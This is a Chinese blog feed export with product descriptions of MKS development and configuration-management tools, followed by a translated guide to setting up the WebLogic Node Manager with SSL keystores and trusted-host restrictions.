<P><STRONG>64位Windows支持</STRONG><BR>——将程序和工具轻松植入下一代Windows操作系统中。</P>
<P><STRONG>为Windows准备的450多种UNIX工具</STRONG><BR>——增强了开发人员和系统管理人员培训和经验的已有投资。<BR>——将脚本和程序代码导入Windows。<BR>——为UNIX和Windows平台提供单一构建环境。</P>
<P><STRONG>强大的Command Shell</STRONG><BR>——通过本地的Korn (ksh), POSIX (sh), Bash (bash), C (csh) 或<BR>tclsh 命令shell 植入基于脚本的构建和测试环境，较之Windows cmd，提供了更多的灵活性和功能性，增强了控制能力。</P>
<P><A name=14></A><FONT color=#cc6600 size=2><STRONG>MKS Toolkit for Enterprise Developers 64位版本 9.0</STRONG></FONT> </P>
<P>MKS Toolkit for Enterprise Developers 64位版本简化了64位UNIX程序向64位Windows平台的移植过程，用户可以将UNIX和Linux程序布署到扩展的结构体系（如AMD 64和EM64T）和Itanium平台上。</P>
<P>对于像Web caching、数据仓库、复杂机械设计和分析以及科学计算和研究等应用程序，往往内存需求大、计算性能要求高，因此，64位Windows操作系统是其理想的工作环境。</P>
<P>MKS Toolkit for Enterprise Developers 64位版本为移植64位UNIX/Linux程序到Windows系统提供了唯一的解决方案，特性见<FONT color=#cc6600><STRONG><A href="http://www.softwarechn.com/mks/mks_index.htm#2">MKS Toolkit for Enterprise Developers</A></STRONG></FONT><FONT color=#cc6600 size=2><STRONG> </STRONG></FONT>。</P>
<P><A name=3></A><FONT size=2><B><FONT color=#cc6600>MKS Toolkit for Interoperability 9.0</FONT></B></FONT></P>
<P>MKS Toolkit for Interoperability——扩展了MKS Toolkit for Developers，增加了一个完全的X server，能够在Windows上显示基于X Window系统的图形程序，其中包括OpenGL和Motif程序。网络服务器能够在您的Windows工作站上显示网络中任何一台机器上的图形程序。 </P><A name=4></A><B><FONT color=#cc6600 size=2>MKS Toolkit for Professional Developers 9.0</FONT></B><BR>
<P>MKS Toolkit for Professional Developers——MKS Toolkit for Enterprise Developers的子集，适合于专业开发人员，能够将那些非图形和基于字符的UNIX C, C++和Fortran程序和工具移植到Windows中。</P>
<P><BR><A name=5></A><FONT color=#cc6600 size=2><B>MKS Toolkit for System Administrators 9.0</B></FONT></P>
<P>MKS Toolkit for System Administrators——MKS Toolkit for Developers的子集，适合于系统管理人员。该产品是一个强大的管理套件，您可以完成两台机器之间的文件和数据转移，系统远程管理，跨平台备份功能。它能够自动安排并执行重复性任务，如同步密码、添加用户和用户组、设置新机器、复制系统文件或本地及远程系统的文档目录等。 </P>
<P><A name=6></A><FONT color=#cc6600 size=2><B>MKS AlertCentre 2.03</B></FONT><BR></P>
<P>MKS AlertCentre 2.03是MKS工具箱的附加组件。每一台AlertCentre监控站都需要MKS工具箱产品的一个副本。MKS AlertCentre 2.03将作为MKS Toolkit Resourse Kit和GCC附加组件免费提供给Toolkit客户。MKS已经对该产品进行了重组，其配置方式同其他的Resourse Kit组件类似。而且同其他Resourse Kit组件和GCC附加组件一样，新的AlertCentre add-on也可以从网站免费下载，其使用前提是目标机上装有MKS Toolkit产品（v 8.7或更新）。</P>
<P>为了充分使用 AlertCentre的特性和功能，用户需要具备一个MKS Toolkit产品的2份有效许可证。</P>
<P>MKS AlertCentre是监控、警告和矫正行为自动安排的完全解决方案。AlertCentre可以每天24小时，每周7天监控您的关键任务系统，使您可以十分放心您的网络、软件和基于Internet/Intranet的信息系统正常运行。 </P>
<P><STRONG>特点：</STRONG> <STRONG>自动监控、警告、调整和行为纠正。</STRONG>AlertCentre自动触发处理系统失误或事件的行为。利用这些行为，您可以通过e-mail, 手机，寻呼机, SNMP trap, 或您自己的定制行为向别人发出错误或关键系统状态警告。AlertCentre也允许您实施一个调整进程来通知相应的人，并基于问题的严重性采取适当的行为。而且，AlertCentre能够以行为方式触发监控器、脚本器和程序，使您采取自动的纠正行为。 
<P>
<P><STRONG>内置的监控冗余。</STRONG>AlertCentre提供对监控器的监控能力，来帮助您确保您的重要资源是可获得的，并且您的业务一直不间断的运行。如果您的主要机器被接受，备份会自动剔除并继续监控就您的系统和软件。 
<P>
<P><STRONG>易于定制。</STRONG>虽然AlertCentre被设计成工作于一组预先定义的监控器框的形式，它依然是易于定制的。您可以通过图形式用户界面配置监控器行为，组织您的监控器从而将其分成易于管理的组，也可以创建定制的监控器。通过定制监控器，您可以插入已有的脚本来创建您自己的监控器类型，并且受益于AlertCentre的内置行为和警告能力。 
<P>
<P> </P><A name=7></A><BR><FONT color=#cc6600 size=2><B>MKS Source Integrity Enterprise Edition 2005</B></FONT><BR>
<P>MKS Source Integrity Enterprise Edition是企业进行充分的跨平台软件配置管理的理想选择。作为目前市场上最先进的SCM技术方案，它能为本地和分布式开发团队提供实时、安全、灵活的进程中央管理功能。 
<P align=left><EM>如今，一切都可以集中管理，不用再去搜索某个版本或文件了。它完全安装在服务器端，项目被清楚列表，可以方便的选择当前正在进行或将要开展的项目。符合ISO要求，能够清楚证明当前的工作，证书维护问题也迎刃而解。</EM></P>
<P align=right><EM>Jim Smith——Agere Systems软件工程师和技术组成员</EM></P>
<P><STRONG>MKS Source Integrity构建于MKS的传统技术基础之上，使用方便，功能全面：</STRONG></P>
<P><STRONG><IMG height=225 src="http://www.softwarechn.com/mks/SIE_IntegratedProcess_sm.jpg" width=300 align=right></STRONG><BR>MKS Federated Server 结构体系——为分布式开发团队提供创新性支持，去除了复制需求，从而降低了管理费用，并实现了在低带宽网络上的实时协作。</P>
<P>沙箱——为开发人员提供私人工作空间。<BR><BR>变化包检查和被提议的变化包检查——实现了基于任务的开发，在改动被实施之前先对其进行全面检查。<BR><BR>通过拖放合并实现图形化的历史浏览——开发历程可视化，方便了版本合并。<BR><BR>集成的进程和工作流传管理——通过MKS Integrity Manager，实现了更高级的工序自动化和完备化。<BR><BR>项目基线功能和冻结已完成的模块和项目。<BR><BR>反转到任何时间点——重新创建过去版本的准确复制。<BR><BR>项目共享和重整——支持代码重复使用，降低了重写代码的要求。<BR><BR>深度集成——同MKS的Open API所支持的领先开发环境如Eclipse/IBM Websphere 、Microsoft Visual Studio .NET等深度集成。</P>
<P><STRONG>优点： </STRONG>
<P>. 提高了个体开发者和协作开发组的生产力和工作效率； <BR>. 对于连续集成和多平台开发，共享sandboxes是理想选择； <BR>. 非成员浏览利用Wizard 添加成员或者在sandbox中检查文件是否存在，提高了开发者的生产力。 
<P>
<P>新的更新集成： <BR>. Borland Together ControlCenter 6.1 <BR>. Sybase PowerBuilder 9.0 <BR>. Microsoft Visual Studio .NET 2003 <BR>. WebSphere Development Studio Client for iSeries (WDSc) 5.0 <BR>. WebSphere Studio Application Developer Integration Edition (WSAD-IE) 5.0 <BR>. WebSphere Studio Site Developer (WSSD) 5.0 <BR>. WSAD 5.1 (WIN32) <BR>. WDSc for iSeries 5.1 (WIN32) <BR>. WSSD 5.1 (WIN32) <BR>. WebSphere Development Studio Client for iSeries Advanced Edition (WDSc-AE) 5.0 <BR>. WDSc for iSeries — AE 5.1 (WIN32) 
<P>
<P>新的更新平台： <BR>. LDAP version 3 <BR>. SuSE Linux 8.2 <BR>. Red Hat Linux 9.0 <BR>. Windows Server 2003 Standard Edition <BR>. HP-UX 11i 
<P><A name=8></A><FONT color=#cc6600 size=2><B>MKS Integrity Manager 2005</B></FONT><BR>
<P>MKS Integrity Manager是企业工序和工作流程灵活管理的理想选择，能够帮助创建可重复的进程，从而管理软件开发。它同MKS Source Integrity Enterprise无缝集成以实现全面的企业软件配置管理，还是需求管理工具MKS Requirements的基础，另外，还可以无缝集成其他的开发人员生产力工具来平衡软件投资并扩大软件开发周期的覆盖范围。 
<P>MKS Integrity Manager的透明性、高级型以及多层结构体系在企业范围可升级，能够支持变化进程中的分布式开发人员和其他的委托开发人员：</P>
<P><IMG height=225 src="http://www.softwarechn.com/mks/PMDashboard_sm.jpg" width=300 align=right></P>
<P>完全可配置——允许团队将已有程序自动化，并随时间变化调节控件。<BR><BR>管理仪表板——提供重要的指标、图表和报告，增加了管理可见度，方便了决策的制定。<BR><BR>工序自动化、email通知、议题增强——使团队沟通能力和工作效率最大化，降低了项目风险。<BR><BR>电子签名支持——符合FDA 21 CFR Part 11等法规。<BR><BR>图形化工作流程建模器——帮助团队将工序可视化，并对其进行调整。<BR><BR>跨平台——包括分布式、Unix、iSeries和Mainframe平台。<BR><BR>方便应用、培训和管理——降低了开发所有者的总投入。<BR><BR>同MKS的Open API所支持的开发、测试和项目管理环境深度集成。</P>
<P>MKS Integrity Manager强大可定制的工作流程引擎使您可以执行适合您工作组的进程。利用它您可以方便的自动操作已存在的工作流程，或者如果您的进程还没有准确定义，由于进程模板是在广泛的经过验证的开发方法上建立的，可以应用进程模板跳至开始进程执行处。直观的可重复进程允许您获得对全部软件开发行为的控制，从而快速发布可靠优质的应用软件。 </P>
<P><A name=9></A><FONT color=#cc6600 size=2><B>MKS Requirements 2005</B></FONT></P>
<P>MKS Requirements 2005是软件开发的里程碑——需求管理方案，该产品第一个内置成为了ESCM（企业软件配置管理）系统的一部分。除ESCM系统外，它还是MKS Integrity Manager?中进程管理和工作流程功能的一部分。</P>
<P>该产品的推出，首次实现了商业用户和开发人员之间的无缝集成和实时信息流的交互能力，这一切都是通过一个单独平台、标准化界面以及通用程序完成的。</P>
<P><STRONG>产品核心功能<BR><IMG height=338 src="http://www.softwarechn.com/mks/RM-2005_sm.jpg" width=450 align=right></STRONG></P>
<P>——是MKS Integrity Manager程序和工作流程引擎的扩展，降低了成本，利用通用工具实现了商业用户和开发人员的协作性。</P>
<P>——强大灵活的工作流程，周期性生成业务和开发团队。</P>
<P>——单个知识库，带有核查跟踪能力，能够提供需求和变动的时间历史。</P>
<P>——已有开发资料（如源代码、文档、相关需求）之间清晰明确的链接，该链接是由支持IT核查和依从的变化包来完成的。</P>
<P>——自动触发敏感需求和开发任务，显示了需求变化在商业用户和开发团队之间的实时影响。</P>
<P>——同Microsoft Word相集成，允许商业用户通过熟悉的制作工具构建需求，进而将其导入MKS Requirements 2005中。</P>
<P>——需求具有分层结构，并分层显示，因此为需求变动提供了逻辑化组织、跟踪能力，并方便了对需求变动的影响分析。</P>
<P>——为项目管理人员提供历史报告，显示单个需求或整个项目是如何按时间变化的，也可以浏览任意两个时间点之间的变化情况。</P>
<P>——强大的查询、制表和报告能力，方便了团队交流和高级管理的可见度。</P>
<P><BR></P>
<P><A name=10></A><STRONG><FONT color=#cc6600 size=2>MKS Openmake</FONT></STRONG><BR>
<P>Openmake是一个软件开发工具，使用可重复的软件构建程序来自动创建可靠的应用程序。该工具确保每次都以相同的方式根据企业的商业目标来创建可执行程序，从而降低了开发企业应用程序的风险。 
<P>——自动创建可执行程序，流水线化程序开发。</P>
<P>——确保可执行程序都是采用专门的编译器选项和正确的源代码版本创建的，降低了开发错误。</P>
<P>——用户可以在多台机器上分布完成程序组件的创建，缩短了开发周期。</P>
<P>——支持真正的累加构建，缩短了程序的部署时间。</P>
<P>——集成了MKS Integrity Suite，使全部软件开发过程中的整个构建过程集中化并自动化。</P>
<P>——为用户提供了一个单一的标准化程序构建过程，适合于任何语言、IDE或操作系统。<BR></P>
<P><A name=11></A><FONT color=#cc6600 size=2><STRONG>MKS Build &amp; Deployment</STRONG></FONT><BR>
<P>MKS Build &amp; Deployment是一个工作流程工具，使企业降低了部署错误所带来的风险，同时还减少了部署费用。利用MKS Build &amp; Deployment，您企业软件系统的任何变动都可以准确部署，避免了手动部署通常出现的错误，提高了系统的可靠性和资源的可访问性，从而能够将主要的精力投入到其他的重要工作上。 
<P>MKS Build &amp; Deployment改善了您的管理能力，使您能够同时管理更多的产品版本；提高了您的工作效率，使您能够更快的构建、发布产品包，并对其进部署。另外，使用MKS Build &amp; Deployment，使您的产品质量恒定，还增强了客户的信任度。</P>
<P>——单一工具就能完成多个平台的部署，降低了成本。</P>
<P>——利用可重复进程维护部署的稳定性和软件品质。</P>
<P>——将手动程序自动化，避免了操作错误。</P>
<P>——同已有构建工具如ANT和Openmake相集成，增强了您的投资。<BR></P>
<P><A name=12></A><STRONG><FONT color=#cc6600 size=2>MKS Integrity Suite 2005</FONT></STRONG> 
<P>针对管理企业技术和软件开发周期所面临的挑战，MKS将帮助您提前应付这些问题，为管理IT组织内的不断变化提供了一个强有力的途经。 
<P>MKS Integrity Suite作为构建于单一结构体系上的单一方案，完全覆盖了应用程序开发周期的全过程，降低了您IT环境的复杂度，同时也降低了您的总成本。<IMG height=195 src="http://www.softwarechn.com/mks/is2005.gif" width=200 align=right></P>
<P><FONT color=#cc6600><STRONG>MKS Integrity Suite组件包括：</STRONG></FONT></P>
<P><A href="http://www.softwarechn.com/mks/mks_index.htm#9"><STRONG><FONT color=#cc6600>MKS Requirements</FONT></STRONG></A>：需求管理组件。</P>
<P><A href="http://www.softwarechn.com/mks/mks_index.htm#8"><STRONG><FONT color=#cc6600>MKS Integrity Manager</FONT></STRONG></A>：进程和工作流程管理以及错误跟踪组件。</P>
<P><A href="http://www.softwarechn.com/mks/mks_index.htm#7"><STRONG><FONT color=#cc6600>MKS Source Integrity Enterprise</FONT></STRONG></A>：软件配置管理、版本控制、全球化分布式团队开发组件。</P>
<P><A href="http://www.softwarechn.com/mks/mks_index.htm#10"><STRONG><FONT color=#cc6600>OpenMake</FONT></STRONG></A>：企业构建管理组件。</P>
<P><A href="http://www.softwarechn.com/mks/mks_index.htm#11"><STRONG><FONT color=#cc6600>MKS Build and Deploy</FONT></STRONG></A>：产品环境部署管理组件。</P>
<P></P>
<P></P>
<P><A name=13></A><STRONG><FONT color=#cc6600 size=2>MKS Federated Server</FONT></FONT></STRONG></P>
<P>MKS Federated Server 结构体系为软件开发项目的全球化团队协作提供了一个创新、划算的工作方案。构建于MKS创新的程序服务器基础之上，MKS Federated Server能够使工作团队在任何时区和任何地点实时访问SCM知识库。</P>
<P>——确保整个团队清楚了解共享软件项目的发展，并及时进行沟通。<BR>——避免代码冲突。<BR>——通过对中央知识库的集中管理，显著降低了管理费用。<BR>——改进了对外部项目的管理控制。<BR>——提高了对全球化开发行为的管理可见度。</P>
<P>&nbsp;</P>
<P><IMG height=309 src="http://www.softwarechn.com/mks/fsa_diagram.jpg" width=500 align=absMiddle></P><img src ="http://www.blogjava.net/kapok/aggbug/9871.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-12 09:19 <a href="http://www.blogjava.net/kapok/archive/2005/08/12/9871.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于类路径问题,链接过来</title><link>http://www.blogjava.net/kapok/archive/2005/08/11/9786.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 11 Aug 2005 03:25:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/11/9786.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/9786.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/11/9786.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/9786.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/9786.html</trackback:ping><description><![CDATA[<A href="http://www.cnblogs.com/sunsonbaby/archive/2004/12/20/79317.html">http://www.cnblogs.com/sunsonbaby/archive/2004/12/20/79317.html</A><img src ="http://www.blogjava.net/kapok/aggbug/9786.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-11 11:25 <a href="http://www.blogjava.net/kapok/archive/2005/08/11/9786.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Configuring and Managing WebLogic Server</title><link>http://www.blogjava.net/kapok/archive/2005/08/10/9735.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Wed, 10 Aug 2005 11:09:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/10/9735.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/9735.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/10/9735.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/9735.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/9735.html</trackback:ping><description><![CDATA[<A href="http://dev2dev.bea.com.tw/techdoc/01wp/01wp_041105_02.htm">http://dev2dev.bea.com.tw/techdoc/01wp/01wp_041105_02.htm</A><BR><BR><A href="http://dev2dev.bea.com.cn/techdoc/wlportal/2004110503.html">http://dev2dev.bea.com.cn/techdoc/wlportal/2004110503.html</A><BR><BR>Configuring and Managing WebLogic Server<BR><A href="http://e-docs.bea.com/wls/docs81/adminguide/confignodemgr.html">http://e-docs.bea.com/wls/docs81/adminguide/confignodemgr.html</A><BR><BR>WebLogic Node Manager Service为产品环境中的Managed Server提供了管理功能，包括： 
<UL>
<LI>Managed Server的状态监控。 
<LI>Managed Server在进程或状态故障时自动重启。 
<LI>对Managed Server进行远程和集中控制，包括启动和停止服务器。 </LI></UL>
<P>　　Node Manager安全地提供这些功能，将双向的SSL身份验证、一个被允许控制Managed Server的可信主机列表、其他安全功能结合在一起。</P>
<P>　　Node Manager可以注册为Windows服务或UNIX守护程序，因此当机器启动或重启时，它能够自动启动计算机上的Managed Server。</P>
<P>　　本文讨论了如何为WebLogic Portal配置WebLogic Node Manager Service，并提供了一个示例配置顺序。</P>
<P>　　有关Node Manager的完整信息，请参阅<A href="http://e-docs.bea.com/wls/docs81/adminguide/nodemgt.html" target=_blank>http://e-docs.bea.com/wls/docs81/adminguide/nodemgt.html</A>。 <BR>Node Manager概览：<BR><BR>　　在高层次上，Node Manager使用被管理的服务器信息进行配置，并且使这些服务器保持在所希望的状态。</P>
<P>　　Node Manager只管理已经启动的托管服务器——Node Manager不影响手动启动的托管服务器。</P>
<P>　　每一台Managed Server运行的主机上能够运行一个Node Manager进程。Node Manager与该主机上的每个Managed Server保持一个socket连接，并使用该连接监视Managed Server的状态。如果Managed Server进程意料外故障或WebLogic确定该进程活着但处在失败或挂起状态，那么Node Manager能够自动重启Managed Server。 </P>
<P>　　除了自动重启功能，Node Manager还具有远程控制功能，因此管理员能够通过WebLogic Administration Console或WebLogic Admin工具启动或停止单个或所有Managed Server。在每个Managed Server主机上，Node Manager在配置的端口上监听服务器远程控制命令。</P>
<P align=center><IMG height=369 src="http://dev2dev.bea.com.cn/techdoc/wlportal/image2004110506.gif" width=482></P>
<P>　　Node Manager使用几个安全方法来限制对Node Manager Service、以及从Node Manager Service到Managed Server的远程管理访问。</P>
<UL>
<LI>所有从Node Manager Service到Managed Server的通信都是通过安全的双向SSL。每一方必须向另一方证明其身份。 
<LI>所有从管理客户端（WebLogic Administration Console或weblogic Admin工具）到Node Manager Service的通信也都是通过安全的双向SSL。每一方必须向其他一方证明其身份。 
<LI>Node Manager Service配置支持指定一个允许管理客户端连接的受信任主机列表。来自其他（非受信任）主机的连接是不被允许的。该功能能够用于拒绝来自除Administration Server主机之外的访问。 
<LI>也有其他一些安全选项是可用的，例如在一个具有多个网卡的系统上指定Node Manager Service应该监听的网络地址。 </LI></UL>
<P>　　Node Manager Service创建命令行，启动Managed Server进程，不需要调用启动脚本。因此，在启动一台Managed Server时指定标准startManagedServer脚本向操作系统发出的相同类型的信息是很重要的。 <BR><BR>　　结合使用Node Manager和WebLogic Portal：<BR>　　除了标准的Node Manager配置步骤，在配置Node Manager与WebLogic Portal协同工作时需要应用一个额外的步骤。</P>
<P>　　特别地，Administration Server域目录包含一个名为“wrspKeystore.jks”的文件。每个Managed Server需要访问服务器根目录上的一个目录中的该文件。</P>
<P>　　默认情况下，Node Manager将在WL_HOME/common/nodemanager的一个子目录下运行服务器，例如，WL_HOME/common/nodemanager/ms1/…。 </P>
<P>　　因此，如果Node Manager启动了目录WL_HOME/common/nodemanager/ms1/中一个名为ms1的Managed Server ，那么应该把wsrpKeystore.jks复制到每个Managed Server上的一个目录中，例如，WL_HOME/common/nodemanager/wsrpKeystore.jks。 <BR><BR>　　<B>Node Manager配置概述<BR></B>　　存在许多可能的配置变体，这些变体在<A href="http://e-docs.bea.com/wls/docs81/adminguide/confignodemgr.html" target=_blank>http://e-docs.bea.com/wls/docs81/adminguide/confignodemgr.html</A>中有详细描述。</P>
<P>　　一些主要的配置变体包括：</P>
<UL>
<LI>Node Manager作为一个系统服务/守护程序还是手动启动的进程运行。 
<LI>安全配置的类型和程度。 
<LI>Node Manager是否应该自动杀死崩溃或运行在故障状态的Managed Server进程。 </LI></UL>
<P>　　如果将Node Manager配置为服务器/守护程序，那么在系统启动时将会自动启动它。以这种方式配置，Node Manager能够在机器重启时自动重启Managed Server。<BR><BR>　　<B>Node Manager配置过程：</B><BR>　　在配置Node Manager中涉及的主要步骤包括：</P>
<UL>
<LI>指定安全配置和受信任主机。 
<LI>在每台Managed Server主机上，必须配置Node Manager进程，可选择注册为服务/守护程序。在该步骤中指定安全设置。 
<LI>在WebLogic Administration Console中，需要指定每台Managed Server运行在哪台主机上，以及Administration Server如何联系每台主机上的Node Manager服务。 
<LI>在WebLogic Administration Console中，Node Manager正在管理的每台Managed Server也必须进行配置，这样Node Manager就能够建立起要发送给操作系统的命令。我们将首先通过startManagedWeglogic脚本启动服务器、注意生成的命令行，并使用该信息正确配置每台Managed Server。 </LI></UL>
<P>　　<B>为WebLogic Portal配置Node Manager示例</B><BR>　　该示例配置用于具有一台Administration Server和两台Managed Server的域。每台服务器将运行在其自己的主机上。</P>
<P>Administration Server:<BR>- platform: Windows 2000<BR>- hostname: adminbox.foo.com<BR>- IP address: 192.168.1.51</P>
<P>Managed Server 1 (ms1):<BR>- platform: Windows 2000<BR>- hostname: host1.foo.com<BR>- IP address: 192.168.1.52</P>
<P>Managed Server 2 (ms2):<BR>- platform: Windows 2000<BR>- hostname: host2.foo.com<BR>- IP address: 192.168.1.53</P>
<P><B>　　选择安全配置和信任机制</B><BR>　　该示例产生环境配置使用完整安全模式。</P>
<P>　　我们将使用WebLogic演示SSL身份keystore (DemoIdentity.jks)和演示SSL发证机构（CA）信任keystore (DemoTrust.jks)，它们包含在WebLogic安装中，安装在WL_HOME/server/lib/*.jks。</P>
<P>　　身份keystore保存证明一方身份的SSL证书；信任keystore保存受信任发证机构的SSL证书，发证机构能够用于证实身份。运行时，服务器提供SSL证书，客户端根据列在其信任keystore中的CA进行检查。</P>
<P>　　SSL证书也包含一个主机身份，该身份嵌入在证书的“Subject”（主题）字段中。SSL客户端使用该主机身份和证书/信任发证机构匹配项确定远程服务器的证书是否可用。客户端验证两台服务器的身份证书都能够被客户端的信任发证机构所接受，客户端用于联系服务器的主机地址与列在证书中的主机身份匹配。</P>
<P>　　每台安装WebLogic的主机具有自己惟一的特定于主机的演示SSL证书，该证书与那台特定的主机的身份一起嵌入。该证书被嵌入到DemoIdentity.jks keystore中。主机身份能够通过Java keytool实用程序显示。我们后面将看一个例子。所有的演示SSL证书由同一个DemoTrust.jks信任发证机构签署，该机构对于所有主机都是一样的。</P>
<P>　　和双向SSL一起使用这些演示keystore，客户端将在DemoIdentity.jks中向一个服务器提供SSL证书，服务器将检查列在其DemoTrust.jks keystore中的CA SSL证书是否接受该证书。</P>
<P>　　这些演示keystores不提供安全的环境。每个WebLogic安装包括相同的演示 CA信任keystore文件（在WL_HOME/server/lib/DemoTrust.jks中）和生成DemoTrust.jks keystore中CA签署的特定于主机的演示身份证书的工具。因此，任何WebLogic安装都能产生被其他使用该DemoTrust.jks CA keystore的WebLogic安装所接受。</P>
<P>　　因此，对于一个真实的生产环境，您应该希望禁用演示CA信任keystore (DemoTrust.jks)，并使用一个有名的发证机构签署的SSL证书，或者至少是您自己定制的发证机构。有关更多信息，请参见<A href="http://e-docs.bea.com/wls/docs81/secmanage/ssl.html" target=_blank>http://e-docs.bea.com/wls/docs81/secmanage/ssl.html</A>。</P>
<P>　　因为SSL证书包含主机身份信息，所以当使用SSL证书时，特别是演示证书时，应当注意客户端用于联系服务器的主机名称必须和服务器证书中的主机身份匹配。</P>
<P>　　这暗示多数情况下主机名称是在一个域中配置的。它也暗示了DNS命名。</P>
<P>　　一个通用规则是：不要使用IP地址，而是使用主机名称。主机名称需要以正确格式指定。在指定一个主机名称时，当指定服务器地址时会为SSL证书主机名称格式使用接收服务器端的规则。例如，一个客户端使用的地址“fooHost”需要与服务器SSL证书主机身份字段匹配（如“fooHost”）。如果客户端正在使用“fooHost.foo.com”，服务器SSL证书的主机身份字段是“fooHost”，那么SSL连接将会失败。</P>
<P>　　例如，当一台Administration Server联系一个Managed Server时，为了使SSL配置工作，Administration Server用于联系Managed Server的主机地址必须与Managed Server主机的SSL证书主机身份匹配。</P>
<P>　　使用“keytool” Java实用程序，您能够检查嵌入在演示SSL证书中的主机名称身份，该证书嵌入在DemoIdentity.jks中。这里显示了如何做到这一点：</P>
<P>转到WL_HOME/server/bin。<BR>setWLSEnv.cmd/.sh<BR>cd ..\lib <BR>(WL_HOME/server/lib)<BR>keytool -list -v -alias demoidentity -keystore DemoIdentity.jks<BR>当提示输入keystore密码时，输入： <BR>DemoIdentityKeyStorePassPhrase<BR><BR>　　在输出（Owner字段）中、CN属性是嵌入到主机名称身份中的。</P>
<P>　　例如，在名为“host1.foo.com”的Windows主机中，您将看到像下面的输出：<BR><BR>D:\wl81sp3\weblogic81\server\lib&gt;keytool -v -alias demoidentity <BR>-list -keystore DemoIdentity.jks<BR>Enter keystore password: DemoIdentityKeyStorePassPhrase<BR>Alias name: demoidentity<BR>Creation date: Jun 24, 2004<BR>Entry type: keyEntry<BR>Certificate chain length: 1<BR>Certificate[1]:<BR>Owner: CN=host1, OU=FOR TESTING ONLY, O=MyOrganization, <BR>L=MyTown, ST=MyState, C=US<BR>Issuer: CN=CertGenCAB, OU=FOR TESTING ONLY, O=MyOrganization, <BR>L=MyTown, ST=MyState, C=US<BR>Serial number: -3cb71787b0af00ee4160180a08e071b0<BR>Valid from: Wed Jun 23 16:32:25 MDT 2004 until: Mon Jun 24 16:32:25 MDT 2019<BR>Certificate fingerprints:<BR>　　MD5: 34:B4:D4:86:28:06:9B:C2:29:A1:09:4B:A1:9C:77:55<BR>　　SHA1: F8:A0:AE:6C:A7:9B:CC:FD:0D:AE:17:8D:D9:C8:2F:E9:36:41:86:5B</P>
<P><BR>　　在这种情况下，SSL证书具有主机身份“host1”，因此无论什么时候客户端需要联系host1.foo.com，它需要指定“host1”。</P>
<P>　　对于Windows主机，嵌入在主机上DemoIdentity.jks中的演示SSL证书通常只是主机名称——例如，如果完整的主机名称是“host1.foo.com”，那么将把SSL证书链接到主机“host1”。在这种情况下，您将希望任何联系该Windows主机的客户端在连接时都使用DNS地址“host1”。</P>
<P>　　对于UNIX主机，嵌入在主机上DemoIdentity.jks中的演示SSL证书通常是完全限定的DNS名称——例如，如果完整的主机名称是“host5.foo.com”，那么将会把SSL证书链接到主机“host5.foo.com”。在这种情况下，您将希望任何联系该UNIX主机的客户端在连接时使用主机名称“host5.foo.com”，而不是“host5”或IP地址。</P>
<P>　　当一台Managed Server联系Administration Server时，完全相同的规则也适用。</P>
<P>　　就主机信任来说，我们将允许只有Administration Server主机能够联系Node Manager Service进程。这将允许我们从该Administration Serer主机使用WebLogic Administration Console或weblogic.Admin工具来控制Managed Servers，但拒绝来自任何其他主机的访问。 <BR><BR><B>　　在每台Managed Server主机上配置Node Manager进程：</B><BR>　　在每台运行着至少一个Managed Server的主机上执行这些步骤一次。在我们的示例配置域中，这些步骤将在主机host1.foo.com和host2.foo.com上执行。</P>
<P>　　1. 首先，让我们手动启动Node Manager，它将创建一些用于编辑的配置文件。默认情况下，Node Manager将在第一次启动时在目录WL_HOME/common/nodemanager下编写一些配置文件。 <BR>打开一个命令/终端窗口，cd WL_HOME/server/bin<BR>运行 “startNodeManager(.cmd/.sh)”来交互地启动Node Manager。 <BR>Node Manager将在WL_HOME/common/nodemanager中创建一些文件。<BR>在WebLogic Administration Console窗口中，等待直到看到一些下面形式的文本： </P>
<P>　　&lt;Jul 26, 2004 6:00:18 PM MDT&gt; &lt;Info&gt; &lt;NodeManager@*.*:5555&gt; &lt;NodeManager started, log messages being written into file ..., </P>
<P>　　然后输入ctrl-C关闭Node Manager。</P>
<P>　　2. 在WL_HOME/common/nodemanager/nodemanager.hosts中编辑受信任主机文件，以便指定被允许访问和控制将要运行在该主机上的Node Manager Service的远程主机集。每台受信任主机应该在单独一行输入。</P>
<P>　　您能够以主机名称或IP地址输入受信任主机。如果输入了主机名称，那么需要在nodemanager.properties文件中启用逆向DNS查找，我们将在下一步配置该文件。<BR>如果您希望Node Manager Service接受来自任何主机的远程命令，就在hosts文件中输入*。</P>
<P>　　在该示例中，我们希望限制只有Administration Server主机能够访问，因此我们输入Administration Server IP地址：192.168.1.51。</P>
<P>　　限制对受信任主机文件WL_HOME/common/nodemanager/nodemanager.hosts的访问。Node Manager Service在运行期间读取该文件，如果在该文件中添加了主机，它将动态启动接收来自那些主机的远程管理命令。因此，限制对该文件的访问很重要。</P>
<P>　　3. 编辑Node Manager 属性文件WL_HOME/common/nodemanager/nodemanager.properties，来指定SSL安全配置和其他选项。</P>
<P>　　这是指定SSL安全身份和信任keystore与访问信息（如别名和passphrase）的地方。</P>
<P>　　在运行时，Node Manager进程将为主机上的一台或多台Managed Server、可能也有Administration Server或weblogic.Admin工具提供一个SSL证书。所有这几方都将需要在信任keystore中拥有一个发证机构，该keystore接收提供的Node Manager SSL证书。另外，所有这几方都将在运行时向Node Manager进程提供它们自己的SSL证书。因此，Node Manager进程将需要在信任keystore中具有一个发证机构，该keystore接受这几方提供的SSL证书。</P>
